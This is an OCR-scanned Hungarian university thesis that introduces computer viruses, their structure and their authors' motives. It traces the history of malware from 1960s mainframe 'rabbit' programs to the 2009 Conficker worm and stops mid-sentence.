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1. Bevezetés

A szdmitogépes virusokrol itt a XXI. szdzadban mar majdnem mindenki hallott,
hiszen a szamitégép az elmult sziik két évtizedben a legtobb csaldd életébe bekeriilt. Arrdl
viszont mar kevesebben tudnak, hogy a virusok mik is val6jaban, miért teremtették dket, mit
tehetnek a gépen, illetve a géppel. Es sajnos azt is be kell ismerni, hogy a legtébben a virusok
eltivolitasardl szinte semmit se tudnak. Altaldnos nézet, hogy a virusirté azért van a gépen,
hogy az ember helyett figyeljen mindenre, ami a virusokkal kapcsolatba hozhat6. Ebben a
dolgozatban ezt a témakort szeretném kicsit korbejarni, igyekeztem minden informdciét egy
helyen Osszegytijteni. Nyomtatott formdban még viszonylag kevés konyv foglalkozik a
témaval, 1évén, hogy ez a témakor tilzottan nagy, sokrétli €s rendkiviil gyorsan valtozik. Erre
egy jo jelz8szam, hogy anno a 90-es években szdzaval mérték a virusokat, mostansag pedig
szazezrével, igy egy konyv elég gyorsan ,elavult” lehet. Manapsdg az emberek a legtobb
dolgot az interneten intézik el, a vasarlast, a fizetéseket, az informalédast. A kiiléonb6zo
férumok, blogok, online cikkek és céges weboldalak atnézése sokkal pontosabb képet adhat,
mint egy konyv, valamint nem kis eldnye, hogy barmikor frissithetd, bovithet6. Azonban
ennek a formdnak is megvannak a hatranyai, ezek egyike példaul a szamitégépes virus (jelen
terminolégidban virusnak emlitek minden olyan l1étrehozott programkddot, amelynek 1ényege,
hogy illetéktelen felhaszndlok hozzdjussanak informdaciohoz, illetve manipuldljak azokat:
spyware, adware, malware, tréjai és a klasszikus értelemben vett virusok). Azt is bizton
allithatom, hogy amidta 1étezik személyi szdmitdégép, azdta keseritik a tulajdonosok életét a
szamitégépvirusok, tehat nem csak korunk problémdja ez, hanem a multunké és bizony a
JOvVOnkeé is.

A mai rohané vildgban az id6 pénz, és az informdcié hatalom, a virusok pedig
altaldnossdagban csak ezt a kettdt akarjdk megszerezni: az id6t raboljak tdliink viselkedésiikkel
(net lassitasa, betarcsazos modem elleni virusoknal a tarcsazas ellehetetlenitése, kéretlen
rekldmok betoltése €s igy tovabb), illetve az esetleges virusfertozés esetén az eltavolitassal.
Természetesen az informdaciokkal sem bdnnak visszafogottabban, hiszen sokuk épp a
legtitkosabb informacidk megszerzésére lettek kitalalva (backdoor hack, key logger,
makrovirusok). Lathatd, hogy ami a mai vildgban értékes, az tdmadds alatt van, igy a
megfeleld védelem elengedhetetlen. Dolgozatommal — remélhetdleg — ha mést nem is érek el,
de legalabb raébreszthetem az olvasot, hogy tartson a gépén egy mindig naprakész virusirtot,
esetleg megfogad egy-két tippet, trilkkdt hogyan lehet az adatvesztést minimalizalni.

Miar itt a szakdolgozatom elején szeretném megkoszonni mindenkinek, aki
kozremiikodott, segitdé kezet nyujtott az elkészitésében, vagy felhaszndlhatova, elérhetdvé
tette jegyzeteit, irdsait. Els0sorban az Informacié Technolédgia tanszéknek kdszonom, hogy ez
a dolgozat létrejohetett, biztositvan a dolgozat témakorének valasztasat. A tanszéken beliil
kilon koOszonetet szeretnék mondani konzulensemnek, Panovics Janos tanar urnak, aki
naprakész informécidkkal, hasznos szakmai tuddssal, batoritdé szavakkal és végtelen
tiirelemmel segitette a dolgozat elkésziilését, valamint a formai és tartalmi kovetelményeknek
val6 megfelelését.



2. Néhany alapfogalom

Szakdolgozatomat nem  csupdn az  informdcidbiztonsdggal  foglalkoz6
szakmabelieknek szdnom, hanem meglehetosen széles olvasékornek. Reményem szerint
hasznos informdaciéforrasul szolgdl az internet gazdag vildgit most felfedezd felhasznalok
szamara.

2.1. Mik is valdjaban a virusok?

A virusokra rengeteg meghatdrozds és definicio létezik. Taldn nem is lehet Oket
egyértelmiien azonositani, sokkal inkdbb egy gytijtéfogalomnak tekinthetd, amit felépitésiik,
terjedési modjuk vagy az altaluk okozott kar fajtdja alapjan tudunk kategorizalni. Ennek oka
bizonydra az, hogy a kartevok sokrétiiek, folyton valtoznak, mutalédnak, fejlodnek és egyre
tobb intelligencidval rendelkeznek. Minden definicidban kozds, hogy olyan programnak
tekintik 6ket, amelyek sajat masolataikat helyezik el més, végrehajthaté programokban vagy
dokumentumokban, biztositva ezzel szaporoddsukat, terjedésiiket. Funkcionalitdsukat illetéen
tobbnyire rosszindulatiak, mds &llomédnyokat haszndlhatatlannd, sot teljesen tonkre is
tehetnek. Bar nagyrésziik elég kartékony, azért vannak kozottiik olyanok, amelyek pusztan
csak zavardak, s6t akadnak kifejezetten joindulatiak is, mint példdul a spam. Hasznosnak
akkor neveziink egy programot, ha valamely szdmunkra elony0s feladatot végez, tudunk
jelenlétérol és miikodésérol. Minden olyan programot, amely utélagosan, a felhasznéld
szandéka, sOt tudomasa nélkiil vagy annak ellenére keriil a gépre, rosszindulatu programnak
kell tekinteniink, fiiggetleniil att6l, hogy a programban vannak-e kifejezetten pusztito,
rombol6 célud rutinok, algoritmusok vagy sem.

2.2. Hogyan éplilnek fel és mikent miikédnek a virusok?

Ha a viruskédot tekintjilk funkcionalitdsa szerint, akkor a kovetkezd négyféle
programmodul kiilonithet6 el: replikdcids, feltételvizsgalo, rejtézkodd €s biintetdrutinok. Az
elsé az, amelyik kivétel nélkiil mindegyikben megtaldlhat6, elsddleges cél mindig a forrdskéd
sokszorositdsa, masolésa, terjesztése. A mdsik hdrom mér csak a virus megalkotdjatdl fiigg.
Az ismert szamitégépvirusok mintegy harmada nem is tartalmaz egyebet, mint a replikacios
részt, dam a tobbi virusban feltételvizsgdlé rutinokat is taldlhatunk, amelyek vagy a
szaporodasi folyamatot lassitjdk — nehogy til gyors €s ezdltal tilzottan feltiind legyen a
megfert6zott rendszereken beliil a virus terjedése —, vagy a negyedik programrész, vagyis a
biintetérutinok indit4sat kotik a virus programozdja altal megadott feltételekhez. Egy virus
életében nagyon fontos rész a rejtozkodés. Minél késobb fedezik fel jelenlétét, anndl tobb
esélye van a terjedésre, szaporoddsra. A szamitégépvirusok szdmos kifinomult technikat
alkalmaznak jelenlétiik leplezésére. Alkalmazhatnak lopakodé technikdkat, a mutdlé és a
polimorf virusok pedig a sajat programkddjukat is képesek valtoztatni fert6zésrol fertézésre.

A biintetOrutinok szintén opciondlisak lehetnek, szamos virus egyaltalin nem
tartalmaz, méasok viszont komoly karokat okozhatnak vele. A biintetérutinok k6zé sorolhatk
a hangeffektusok, képek, lizenetek megjelenitése, fajlok, konyvtarak mddositdsa, feliilirasa,
torlése, fajlok, merevlemez-particiok titkositasa, elkédoldsa.



2.3. Kik és miert?

A virusok széba keriilésekor taldn ezek a legtobbszor elhangzott kérdések, és teljesen
jogosan is meriilnek fel. Kik irjak a virusokat? Miért irjdk Oket? A vdélasz pedig az, hogy
virust barki irhat, még egy, a programozashoz alig ért6 ember is, de azért mégsem ez a
jellemz6. Altaldban programozdk, amatdrok, katonak, terroristdk vagy didkok készitenek
virusokat. Es hogy miért? Leginkdbb a hirnév miatt, de ide sorolhatnim még a kihivést, a
kivancsisdgot, kisérletezést, kémkedést, hatalomra vagyédast. Es miért eresztik rd a vildgra?
Némely virus csak heccbdl, baratok, fonokok, ismerdsok bosszantdsdra, mig méasok csak a
fioknak késziiltek, és a nem megfeleld tarolds kovetkezményeként lattak napvildgot, megint
madsok szandékosan pusztit6 céllal terjedtek szét, €s olyan is van, hogy az illetdnek mar az is
JO, ha nekiink rossz. Egy id6ben az a mondas jarta, csak az az igazi programozd, aki virust is
tud {rni!

3. Egy Kkis virustorténelem

Amioéta szamitogépek léteznek, azdta programokat irnak. Amennyiben egy program a
szamit6gép iizemeltetdje szamara hasznos dolgokat végez és segiti a munk4jat, akkor hasznos
programrdl beszéliink, ha nem ezt teszi, vagy a gép kezeldjének tudomdsa, illetve
hozz4djaruldsa nélkiill miikddik, akkor karos, rosszindulati programokrol besz€liink.

Az aldbbiakban az elmult kozel 6tven év kronoldgidjat olvashatjak — legaldbbis ami a
virusokat és egyéb vandal programokat illeti. Induljunk hat a kezdetektdl.

3.1. Az 1960-as évek veégétél az 1970-es évek elejéig

Ebben az idészakban még nem léteztek személyi szamitogépek. A szamitdstechnikat
az egyetemeken, kutat6 és hadi intézetekben miikodé mainframe gépek jelentették. Ennek az
idoszaknak a programjai mindennek voltak nevezhetdk, csak felhaszndlobaratnak nem. Ennek
ellenére zsenidlis emberek szamos olyan programot alkottak, amelyek mintegy ,,0néll6 életre
keltek” a gépeken beliil. gy példaul ebben az idszakban rendszeresen megjelentek egyes
,rabbit”’-nak (nyuszi) nevezett programok mdsolatai a mainframe gépeken. Ezek a programok
klénoztdk (lemdsoltdk, tobbszorozték) magukat, rendszer-erOforrasokat foglaltak le, igy
csOkkentve a rendszer teljesitményét. Az ilyen ,rabbit” (azaz nyul) programok azonban
tobbnyire nem madsoltdk 4t magukat az egyik rendszerr6l a madsikra, és hatdrozottan
megmaradtak a helyi jelenség szintjén. Ezek a szamitogépeket karbantartd, iizemeltetd
rendszerprogramozok hibdi vagy piszkos tréfdi (,,pranks”) voltak. Az elsé olyan incidens,
amelyet valoban ,,szamitogépvirus-jarvanynak” nevezhetiink, egy Univac 1108 rendszeren
fordult el6. A Pervading Animalnak nevezett virus a végrehajthaté fajlok végéhez flizte hozza
magét, tehat virtudlisan ugyanazt csindlta, mint a mai, harmincegynéhany évvel késobbi
virusok ezrei.



3.2. Az 1970-es évek eseményei

A Tenex operacids rendszer alatt kifejlesztett The Creeper virus a globdlis szamit6gép-
halézatot hasznalta fel sajit kddjanak terjesztésére. Képes volt arra, hogy magatdl belépjen
modemen keresztiil egy hdlézatba, és atkiildje egy masolatat a tadvoli rendszerre. A virus elleni
harcra alkottdk meg a ,,The Reeper” nevli programot, amely igy az els0 antivirus program
cimre tarthat jogosan igényt.

3.3. Az 1980-as évek eseményei

A szdmitdgépek egyre népszerlibbé viéltak. Egyre nagyobb szdmban jelentek meg
olyan programok, amelyeket nem szoftvertarsasdgok irtak, hanem maganszemélyek, mi tobb,
ezeket a programokat szabadon lehetett terjeszteni €s cserélni a nyilvanosan hozzaférheto
szervereken, a BBS-eken keresztiil. Ez volt a shareware, freeware és public domain tipusu
szoftverterjesztési koncepcid kialakuldsdnak korszaka. A fentiek eredményeképpen hatalmas
szamban jelentek meg kiilonféle ,,tréjai 16” tipusi programok, amelyek valamilyen kart
okoztak, ha elinditottak Oket.

» 1981: Megjelennek az elsé Apple szamitégépekre irt virusok. Terjedésiik
kalézmasolatokon torténik.

» 1983: Ekkor jelenik meg a ,,virus” elnevezés, amikor is Fred Cohen igy nevezi el az
onsokszoroz6dé programokat.

» 1986: Az elsé IBM PC virus, a Pakistani Brain, amit két pakisztani kereskedd
készitett. A virus koédjan beliil elhelyeztek egy {izenetet a neviikkel és
telefonszdmukkal. A virus megalkot6i azt allitjdk, hogy szoftverkereskeddk, és
szerették volna megtudni, mennyire elterjedt a szoftverkal6zkodds hazdjukban.
Szerencsétlen mddon a kisérlet tovabblépett Pakisztan hatarain.

Ralf Burger még ebben az évben megoldotta azt, hogy a virus bedgyazdédhasson .COM
végrehajthaté allomanyokba, s segitségiikkel terjedjen. Elsé virusa a VirDem egy
foldalatti férumon jelent meg.

» 1987: Megjelent a Vienna virus. Ugyancsak Ralph Burger megszerezte a virus egy
példanyat, visszafejtette, €s ennek eredményét kozzétette ,,Computer Viruses: a High-
tech Disease” cimli konyvében. Burger konyve népszeriivé tette a virusirdst,
elmagyardzva azt, hogyan is kell csindlni, s ezzel batoritotta virusok szdzainak és
ezreinek megalkotdsit, olyan virusokét, amelyek felhaszndltdk a konyvbdl vett
otleteket.

Franz Swoboda Bécsben megirja az elsd valoban kart okozé virust, a Charlie-t. Ez a
virus Ujrainditotta vagy lefagyasztotta a szamitégépet. Ez volt a legelsé olyan virus,
melyet kielemeztek.

Ugyanebben az évben jelent meg egymastol fiiggetleniil, néhany IBM PC virus, a
Lehigh, ami csak a COMMAND.COM-ot, és a Suriv-1, mas néven Aprillst, ami a



.COM fijlokat fertézte. A Suriv-2 nevli virus volt az els6, mely mar .EXE
allomanyokat is képes volt megfertézni, a Suriv-3 pedig mind a .COM, mind a .EXE
fajlokat karositotta.

Ebben az évben fertdz az addigi legnagyobb mértékben elterjedt virus, a Stoned, mely
minden nyolcadik bootoldskor a ,,Your PC is now Stoned” iizenetet irta ki.

1987 decemberében esett meg az elso teljes haldzatot érintd jarvany, amit a REXX
nyelven irt Christmas Tree okozott, amely VM/CMS operaciés rendszer alatt terjedt.
December 9-én juttattdk be a virust a Bitnet hdlozatba az egyik nyugatnémet
egyetemen, azutdn a kapugépeken keresztiil a virus mar bejutott az Eurépai Akadémiai
Kutatési Hal6zatba (European Academic Research Network, EARN) és onnan az IBM
Vnet rendszerébe. Négy nappal késébb (december 13-4n) lebénitotta a héldzatot,
amelyet talterheltek a virus madsolatai. Induldskor a virus (a mai meghatarozasok
szerint inkdbb féregnek kellene nevezniink) kirajzolt a képerny6re egy karacsonyfit,
€s azutdn elpostdzta masolatait az 0sszes hédlézati cimre a felhaszndl6knak, amelyet a
megfelel6 NETLOG és NAMES nevii rendszerfdjlokban talalt.

» 1988: Péntek 13-an a vildg szdmos orszdgaban ismerkedhettek meg az elsé ,,idozitett”
virussal, a Jerusalemmel. Azon a napon a virus tonkretette azokat a fajlokat, amelyeket
megprobaltak futtatni. Vilagméretli jarvanyt okozott, nevét is az egyik olyan helyrol
kapta — a jeruzsalemi egyetemrdl —, ahol lecsapott.

Egy totélis hdlozati jarvanyt okozott a Morris (mds néven Internet Worm) féreg. A
virus tobb mint 6000 szamitégéprendszert fertdzott meg az USA-ban, beleértve a
NASA kutatéintézetét is, és gyakorlatilag teljesen megbénitotta munkdjukat. A
virusban 1évé programhiba miatt a virus végtelen szdmu masolatot kiildott szét sajit
kédjabol a hdlézaton (mint a Christmas Tree nevil féreg), és ezért bénultak le a
fert6zott rendszerek halozati eréforrasai.

A Jerusalem néhany tovabbi virussal egyiitt (Cascade, Stoned, Vienna) még mindig
észrevétleniil szamitogépek ezreit fertézte meg, elindul a Symantec cég Norton
Antivirus antivirus projektje. Peter Norton, a legendas ,,computer-guru”, még mindig
tagadja a virusok létezését, mitosznak nevezi oket.

3.4. Az 1990-es évek eseményei

Ez az évtized néhany nevezetes eseményt hozott. Az els6 az volt, hogy megjelent a
Chameleon, az elsé polimorfikus viruscsaldd, melynek tagjai ,,V2P1”, ,,V2P2” és ,,V2P6”
néven ismertek. Egészen eddig az antivirus programok maszkokat — viruskdédrészleteket,
virusazonosité sztringeket — haszndltak (méghozzd eredményesen) viruskeresésre. A
Chameleon megjelenése utdn az antivirus programok fejlesztéinek mas modszereket kellett

talalniuk a viruskeresésre.

» 1990: Egy Dark Avenger néven ,,publikdlé” bolgar programozé rendkiviili aktivitast
mutatott, tobb olyan virust is készitett évente, amelyek alapvetden uj algoritmusokat
alkalmaztak a fert6zéshez és a virus nyomainak eltiintetéséhez. Szintén Bulgdria volt



az az orszag, ahol megalakul az elsO viruscseréld BBS. Itt kifejezetten viruskédok és a
virusirok szamadra hasznos informdcidk lattak napvildgot. Eurépédban is megalakul egy
virusellenes kutatdintézet, amely az akkoriban megtaldlhaté mintegy 150 virus ellen
veszi fel a harcot.

1991: A szamitégépvirusok szama hatalmas sebességgel novekedett, tobb szdz ismert
virust tudtak elkiiloniteni. Ebbdl fakad a virusirtdé szoftverek elsé problémdja is,
mégpedig az, hogy a DOS opericids rendszer 640 kbyte memoridja nem elegendd a
virusdefiniciok taroldséara, igy nagyon lassuva vélik a keresés.

1991 nyaran viladgszerte nagy pusztitast és kiterjedt jairvanyokat okozott a Dir2, ami uj
technikat alkalmazott a fertdzésre. Ahelyett, hogy a programfajlok belsejébe irta volna
a koédjat, mint az addig ismert virusok tobbsége, a FAT link (azaz hivatkozasi)
bejegyzéseit irdnyitotta magara. Agressziv terjedésére jellemzd, hogy olyan floppy
lemezeken is megtaldlhattuk, amelyekre, mint virusmentesité lemezre, a McAfee
VirusScan akkor aktudlis véltozatat masoltdk fel.

1992: Az év elején bukkant fel az elsé polimorf virusok sorozatgydrtdsdra szolgéld
programgenerator, az MtE (Mutation Engine). A programgeneritort természetesen
azonnal fel is haszndltak, és jo néhdany polimorf virust gydrtottak le vele. Az MtE volt
a kovetkez6 néhany polimorf generétor prototipusa is.

Egy amerikai antivirus cég bejelenti, hogy madrcius 6-an a Michelangelo virusnak
koszonhetben tobb mint 5 millié szdmitogép adatai fognak megsemmisiilni. A
kozlemény egyfajta hisztériat okozott a sajtoban, a kiilonb6z6 antivirus cégek profitja
tobbszorosére ugrott, mikdzben a valdsdgban csak mintegy 10 ezer szadmitégépet
érintett a fert6zodés.

1994: A CD lemezeken érkezd kartevOk szdma ugrdsszerlien megnovekedett,
rohamosan terjednek a polimorf virusok. Mivel a CD-ROM lemezek hatalmas
népszerliségre tettek szert, a CD-k a virusterjesztés fontos médidjava valtak. Az esetek
a mesterlemez fertézésével indulnak. A nagy szdmdu, tobb tizezres tételben gyartott
fertdzott lemezek nem javithatdk, a teljes virusmentesitéshez be kell zizni az Osszes
fert6zott CD-t.

Egy Gjabb panikhullamot keltett egy hamis {izenet, amely egy feltételezett virusrol, a
Good Times-r6l adott hirt. Az allitélagos virusrdl azt irta a ,hirad4s”, hogy az
interneten keresztiil terjed, és akkor fert6zi meg a szamitégépeket, amikor fertdzott
e-mail-t kapnak. Ilyen virus NEM LETEZIK! Ez egy rémhir, azaz hoax.

Tavasszal a vezetd virusvaddsz cégek egyike, a Central Point besziintette miikodését,
mivel felvdsarolta a Symantec, amely akkoriban tobb kisebb antivirus teriileten
miikodo tarsasagot is bekebelezett (Peter Norton Computing, Cetus International és
Fifth Generation Systems).

1995: Ez év februdrjdban tortént meg az a szomord esemény, hogy a Windows 95
demolemezei Form virussal fert6zotten keriiltek ki a sokszorositasbol. E lemezeket a



Microsoft kiildte bétateszteldinek, s a teszterek egyike vette a faradsagot, és ellendrizte
a lemezeket.

Augusztusban kovetkezett be az eddigi legnagyobb fordulépont a virusok és az
antivirus szoftverek torténetében. Megjelent a Microsoft Word dokumentumaiban
szaporod¢ elso ,,€16” virus (a WM/Concept). Par hénap alatt korbeutazta a vildgot,
beszennyezve a Microsoft Word felhaszndlok szamitdgépeit és szilard elsOséget
szerzett hosszd hoénapokra a kiilonb6z0 szamitégépes magazinok virusfertdzési
statisztikdiban.

1996: Altalénosségban véve a '96-0s €v volt az, amikor széles korben elkezdddott a
virustimadds a 32 bites Windows opericids rendszerek (Windows 95 és Windows
NT) és a Microsoft Office alkalmazasok ellen. Ebben és a kovetkezé évben néhany
tucat Windows virus és néhany szdz makrdvirus jelent meg. Koziilik j6 néhdny j
technoldgidkat és 1j fert6zési moddszereket alkalmazott, beleértve a lopakodd és
polimorfikus képességeket. Ez volt a virusevolucid kovetkezo kore. Két év alatt ezek a
virusok kovették a DOS virusokndl is megfigyelt fejlodési utakat. Lépésrol 1€pésre
ugyanazokat a dolgokat kezdték csindlni, amit a DOS virusok is tettek jo 10 évvel
kordbban, de egy magasabb technoldgiai szinten.

1997: Epphogy csak elkezdédott az év, méris megjelent az elsé Linuxra kifejlesztett
virus, a Linux.Bliss. A virusok egyre inkabb hasonlitani kezdtek bioldgiai
megfeleldikhez.

Novemberben adtdk kozre az Esperanto virust. Ez volt az elsd virus, amelyet eleve
arra terveztek, hogy ne csak DOS és Windows32 végrehajthatd fajlokat fertdzzon
meg, hanem terjedjen Mac OS (Macintosh) alatt is. Szerencsénkre a virus a benne
maradt programozasi hibdk miatt nem volt képes a keresztplatformos szaporodasra.

Ev végén egy uj virustipus jelent meg, az dgynevezett mIRC wormok. Az egyik
legnépszeriibb internetes csevegd (Internet Relay Chat, IRC) eszkdz, a mIRC mint
bebizonyosodott, rést nyitott a rendszerek védelmén, lehetdvé téve azt, hogy virus
scriptek tovabbitsak kddjukat az IRC csatorndk kozott. A kovetkezd IRC kiadds mar
blokkolta ezt a rést és a mIRC wormok lassan kihaldsnak indultak, de ez az esemény
ravilagitott arra, hogy az internet elterjedésével a virusok elterjedése is felgyorsul.

1998: Megjelenik az els6 Java virus, a Java/StrangeBrew, ami végrehajthaté
programokat fertdz. E virus egyeldre nem jelent semmiféle veszélyt az internet
felhaszndloira, mivel nincs rd moéd, hogy a virus szaporoddsi funkciéi barmely tdvoli
szamitégépen milkkodjenek. Azonban a StrangeBrew megjelenése mar magaban is
ravildgitott arra, hogy a webszervereket bongészo gépeket is érheti virustamadas.

Az antivirus szoftvereket fejlesztd cégek kore is dtalakult. 1998 mdjusdban a
Symantec és az IBM bejelentették, hogy egyesitik erdiket az antivirus piacon. Az IBM
Antivirus IBMAV) ezennel befejezte palyafutdsit és a Norton Antivirusban €l tovabb.
Ezutdin a Dr.Solomon és a NAI (kordbban McAfee) programok Osszeolvaddsa
kovetkezett.
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3.5.

1999: Tavaszig csak a szokdsos események torténtek, dm marcius végén, egészen
pontosan marcius 26-an megjelent a WM97/Melissa néven torzskonyvezett levelezo
Word makrévirus, amely 1j irdnyba terelte a virusfejlesztéket. A Melissa volt az els6
olyan makrévirus, amely hatékonyan oldotta meg a levelez6 rendszerek felhasznédldsat
a viruskod terjesztésére. Napok alatt az egész vildgon elterjedt és tobb millionyi
szamitogépet fertdzott meg és levelezd szerverek tucatjait terhelte tdl a virus éltal
kivéltott levélozon.

Az ezredfordulo esemeéenyei

2000: Folytatédott a scriptvirusok eldretorése. A fertdzési statisztikdk szerint a
makrévirusok bizony visszaszorultak a masodik helyre. A harmadik helyet a 32 bites
Windows virusok és programférgek foglaltdk el, mig a hagyomanyos fdjlfert6z6 és
bootvirusok a statisztika végére keriiltek.

2001: A W32/CodeRedAlert két hullimban is koriiljarta a vildgot. A Kindbol
szarmaz6 programféreg meglepden sok kart okozott, de mégis sokkal kevesebbet, mint
amit a sajtdjelentések alapjan vartunk volna. A ,Voros Riadé” tanulsagait
,hasznositotta” a W32/Nimda (Admin megforditva!) készitdje. A féreg egyike a
legagresszivabb kartevoknek, és honapokig a fert6z€si statisztikak élén allt.

A virusszakértok tobbsége szerint a Linux sokkal biztonsdgosabb, mint a Windows,
legalébbis virusvédelmi szempontokbdl. Egy megfeleléen bedllitott Linux rendszer
ugyan valéban biztonsdgos lehet, de mint tudjuk, az életben ritkdn taldlkozni idedlis
rendszerekkel. Az eddig ismert Linux programférgek szdma inkdbb tobb, mint
kevesebb két tucatnal, s rdadasul a Linux/Winux, illetve Lindose néven ismert kartevo
nem egyszerlien egy Linux programféreg, hanem az Esperanto utdn a masodik olyan
programkartevd, amelyet mind a Windows, mind a Linux rendszerek megfertézésére,
megtdmaddsara felkészitettek.

2002: A fertdzési statisztikdkat a 32 bites Windows programférgek vezetik, de
mogottiik szoros a verseny a makrovirusok €s a script-kartevok kozott. A tendencidkat
jelzi, hogy megugrott a Linux rendszereken (is) futé — elsdsorban féreg tipusi — script-
kartevok szdma. A f6 célpont a Microsoft Outlook levelezd iigyfélprogram és a
Microsoft Internet Information Server (IIS). A szamtalan biztonsigi rés szinte ki- és
elfogyhatatlan tdmadasi feliiletet kindl a viruskészitok szamaéra.

Janudr elején megjelent az LFM-926 nevii virus, amely elsdként fert6zott Shockwave
Flash (.swf) f4jlokban. A nevét a fertdz€s utidn megjelenitett szovegbdl kapta:
,Loading.Flash.Movie...” Szintén januar elején jelent meg a Donut, mely a .NET
szolgaltatasok ellen késziilt. Marciusban elkésziilt a Sharp-A is, mely C-ben irédott, és
hasonléan a Donuthoz, ez is a .NET szolgaltatdsokat fertzte, de ez immar nativ
modban. A Sharp-A-t egy nd irta.

A késé majusban megjelent JavaScript nyelven irddott féreg, az SQLSpider az SQL

Server technolégidt haszndld kiszolgdldkat tdmadta. A nem sokkal ezutdn megjelent
Benjamin volt az elsé olyan virus, amely a KaZaA fijlcseréld haldzatot haszndlta
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terjedésnek. Juinius kozepén utjanak indult a Perrun is, amely JPEG éallomanyokhoz
adta hozzd a sajit kodjat. Junius 28-4n pedig a Scalper féreg kezdte el tdmadésait
FreeBSD és Apache webszerverek ellen.

2003: A Slammer a Microsoft SQL 2000 rendszerben 1év6 biztonségi rést kihasznélva
szamos szervert leallitott. Volt olyan id6szak a Slammer fertézése kozben, hogy egész
Dél-Korea levalt az internetrél. A Sobig egy sajit SMTP motorral rendelkezd féreg
volt, amely a Windows hélézati megosztasait hasznélta terjedésnek. Februdrban egy
egyediilallo féreg jelent meg, a Lovegate, melynek voltak féreg és trdjai tulajdonsagai
is. Ezt a kombinéci6t nagyon ritkan alkalmazzdk a virusirék. A m4jus elején megjelent
Fizzer két modon is képes volt a terjedésre: egyrészt az MS Outlook vagy az Outlook
Express cimjegyzékében 1év0 cimekre tovabbkiildte magat, masrészt a KaZaA
fajlcserélé haldzaton is terjedt. A Blaster (mds neveken: Lovsan, MSBlast) egy, mar
joval korabban felfedezett és javitott biztonsagi rést haszndlt ki a tavoli eljarashivasi
modulban (Remote Procedure Call - RPC). A 2003-as év a férgek és az illegélis
haszonszerzd programok éve volt. Két olyan féreg is megjelent, amely biztonsagi rést
hasznalt ki, habar ezekre a résekre mar joval a férgek elterjedése elott megjelentek a
javitofoltok. Ettdl az évtdl szamitjuk a levélszemetet (spam) is virusnak. Es végiil, de
nem utols6 sorban ez az az év, amelyben megjelentek az elsé olyan virusok, amelyek
anyagi haszonszerzés céljabol késziiltek.

2005: Az F-Secure 4ltal észlelt Fontal. A nevii tréjai haszndlhatatlannd teszi a fert6zott
mobilkésziilékeket. Jelenleg a kartevd eltavolitisanak egyetlen mddja a telefon djra
formatéldsa. A Fontal.A, az 4j SIS f4jl tr6jai, Symbian Series 60 operdcids rendszert
haszndl6 mobilkésziilékekre jelent veszélyt. A trdjai nem terjed magatdl, a fert6zés
legval6szinlibb ttja az IRC, illetve f4jlmegoszté rendszereken keresztiil a program
letoltése, majd installdldsa. A Fontalhoz hasonlé tréjaiakat egyetlen mddon lehet
biztosan elkeriilni: csak legdlis forrasbdl szabad médiatartalmakat letolteni.

A Fontal.A installdldsa utdn a tréjai egy hibds font f4jlt installdl, amely
megakadalyozza a késziilék kovetkezd ujrainditdsat. Ha a telefon megfert6zddik a
Fontal. A tréjaival, nem szabad megprobalni tjrainditani a késziiléket, mivel a kartevo
megakadalyozza az tjra bootoldst, és egyben maga a telefon is hasznélhatatlanna
valik.

A hibds font f4jl installdlasa mellett a Fontal.A az alkalmazdasokat kezeld programot is
milkodésképtelenné teszi, igy a kartevOt nem lehet eltavolitani, csak a telefon djra
formatéldsaval, amely sordn viszont a tulajdonos minden telefonban tarolt adata
elveszik. A kartevd eltavolitdsa eldtt dj alkalmazdsokat sem lehet installdlni a
késziilékre.

2007: A Skype-nak az azonnali szovegkiildési funkcidjan terjedt, amikor rakattintott a
jpegnek tlind képre, ehelyett egy fertdzott oldalt hozott be ahonnan automatikusan

letoltotte ezt a virust, ami egy standard windows képernydvéddnek volt dlcazva.

2008 a trojai programok éve volt: az Osszes fert6zés 70 szazalékdért a banki és
bizalmas adatok ellopdsdra tervezett behatolok voltak a felelések. A masodik helyet
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jocskan elmaradva az adware (kéretlen reklamokat indit6) programok szerezték meg
20 széazalékkal, mig a harmadik helyen a férgek végeztek 4,22 szazalékkal.

Ahogy a fentiek is jelzik, tavaly reneszanszukat élt€ék a banki trdjai programok,
amelyek akkor szerzik meg a hozziféréseket, amikor a felhaszndlé felkeresi az
internetbankja cimét. 2008-ban alapvetden haromféle tréjai nyomult a vilaghédlon.

A brazil trojaiakat (Banbra, Bancos) tervezdi elsdsorban a brazil és portugédl banki
hozzaférések ellopdsara hoztak 1étre. Az orosz tréjaiak 1.0-s verziéi (Cimuz, Goldun)
egyre ritkabbakka valtak, mivel elavultak, és konnyebb Oket felismerni. Nem igy az
orosz tréjaiak 2.0-s generédcidja (Sinowal, Torpig, Bankolimb), amelyek viszont a
legagresszivabbaknak és legalkalmazkoddképesebbeknek bizonyultak.

20009. 4prilis: Conficker virus. Bar sokan aprilis elsejére vartdk a nagy kitorést, nagyon
ugy tlinik, hogy erre soha nem keriil majd sor, ehelyett lassu terjeszkedésre, valamint a
botnet hdl6zat fokozatos aktivizal6dédsdra szamithatunk.

A biztonsigi szakértok egyre inkdbb egyetértenek abban, hogy a virus A4ltal
megfertdzott szamitégépek hadserege fokozatosan 1€p majd szolgdlatba — az alkotdk
szandékainak megfelelden. A sokak dltal az eddigi legkifinomultabb tamadési
formanak nevezett Conficker ugyanis egyre tobb egységet von be a globdlis
spamhdlézat kialakitdsdba és tovabbi bovitésébe, emellett pedig tovédbbi virusokat
alkalmaz céljai elérésére.

A tavaly év vége Ota terjeszkedd virus egy mdasodik kartevét haszndl fel (Waledac
néven), amely a szdmitdgép tulajdonosanak tudta nélkiil kiildi ki a spam iizeneteket,
valamint egy hamis antispyware megoldast. Ezzel tovdbbi PC-ket vonnak be egy
madsodik botnet hdl6zatba, amely mar évek 6ta létezik, és elsOsorban tovabbi spam
terjesztésére koncentrdl. A Trend Micro részérdl nyilatkozé szakértd kiemelte, hogy
nagyon kifinomult megolddssal allunk szemben, amelynek alkotéi egyértelmiien
profik, és tudjak, hogy mit csindlnak. Aprilis 1. helyett valésziniileg 7-én bévitették a
hal6zatot egy 1j spam motorral, valamint tovabbi kartevokkel.

A biztonsagi cégek most arra szdmitanak, hogy a hdlézat tevékenysége élénkiilhet,
illetve tdjabb fordulatot vehet, miutdn a féreg mdajus 3-d4n befejezi az wjabb
szamitégépek megfertdzését. Ezt ijabb tdimadasok kovetik majd, azt azonban tovébbra
sem tudni, hogy az igazi nagyszabdsi akciéra mikor keriilhet sor, és hogy ennek
célpontja mi is lesz majd. Jellemzd a fenyegetés méretére, hogy tobb cég kozosen
alakitott ki egy uj akcidcsoportot, amelynek kizardlagos feladata a tovabbi gyors
